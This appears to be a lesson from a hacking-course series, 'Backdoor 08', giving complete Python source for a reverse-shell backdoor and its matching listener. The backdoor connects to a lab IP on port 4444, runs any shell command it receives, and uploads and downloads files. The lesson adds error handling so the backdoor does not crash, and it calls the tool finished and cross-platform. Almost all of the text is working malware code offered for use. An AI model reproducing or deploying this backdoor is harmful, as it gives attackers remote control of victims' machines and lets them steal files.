Backdoor 08 : Adding exception & python3 conversion

#ADDING EXCEPTION TO AVOID CRASH:

If the client or server crashes, the connection will be lost.

#Backdoor crashes if:

Incorrect command is sent.
Correct command is misused.

#CODE: ADDING TRY AND EXCEPT IN BACKDOOR

#!/usr/bin/env python
import socket
import subprocess
import json
import os
import base64

class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def json_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def json_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024)
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Working directory has been changed" + path

    def read_file(self, path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[+] Upload sucessfull.."

    def run(self):
        while True:
            command = self.json_receive()

            try:
                if command[0] == "exit":
                    self.connection.close()
                    exit()
                elif command[0] == "cd" and len(command) > 1:
                    command_result = self.change_working_directory_to(command[1])

                elif command[0] == "download":
                    fix_blank = " ".join(command[1:])
                    command_result = self.read_file(fix_blank)

                elif command[0] == "upload":
                    command_result = self.write_file(command[1], command[2])

                else:
                    command_result = self.execute_system_command(command)

            except Exception:
                command_result = "[-] Error during command execution."

            self.json_send(command_result)

my_backdoor = Backdoor("10.0.2.15", 4444)
my_backdoor.run()

#CODE: ADDING TRY AND EXCEPT IN LISTENER
#!/usr/bin/env python
import socket
import json
import base64

class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+]Waiting for incomming connection")
self.connection, address = listener.accept()
print("[+]Got a connection from" + str(address))

def json_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)

def json_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue

def execute_remotely(self, command):
self.json_send(command)

if command[0] == "exit":
self.connection.close()
exit()

return self.json_receive()

def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Download sucessfull.."

def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())

def run(self):
while True:
command = raw_input(">> ")
command = command.split(" ")

try:

if command[0] == "upload":
file_content = self.read_file(command[1])
command.append(file_content)
# LIST = ["upload","sample.txt","content of the file"]

result = self.execute_remotely(command)

if command[0] == "download" and "[-] Error" not in result:
fix_blank = " ".join(command[1:])
result = self.write_file(command[1], result)
# LIST = ["upload","sample.txt"]

except Exception:
result = "[-] Error during command execution."

print(result)

my_listener = Listener("10.0.2.15", 4444)
my_listener.run()

#EXPLANATION

WE PUT ALL THE FUNCTIONALITY OF OUR BACKDOOR IN TRY AND EXCEPT

we will except any type of error and accept that and give result

[-] Error during command execution.

so the error got send to the listener but we do not need

so we add a condition in our listener

line = 61

if command[0] == "download" and "[-] Error" not in result:

if the error is in the result then we need to print the result

WE ALSO PUT TRY & EXCEPT IN OUR LISTENER

if there is error than give result

[-] Error during command execution.

#FINALY OUR BACKDOOR IS COMPLETED:)

NOTE: OUR PROGRAM WORKS IN ALL TYPES OF OS

#BACKDOOR PYTHON2

#we have written our code in python 2 which is ok cuz we will further learn to package hence it does not matter if u write ur code in python2 or 3 to see this program in python3 check-out Github

#BACKDOOR PYTHON3

Backdoor 08 : Adding exception & python3 conversion

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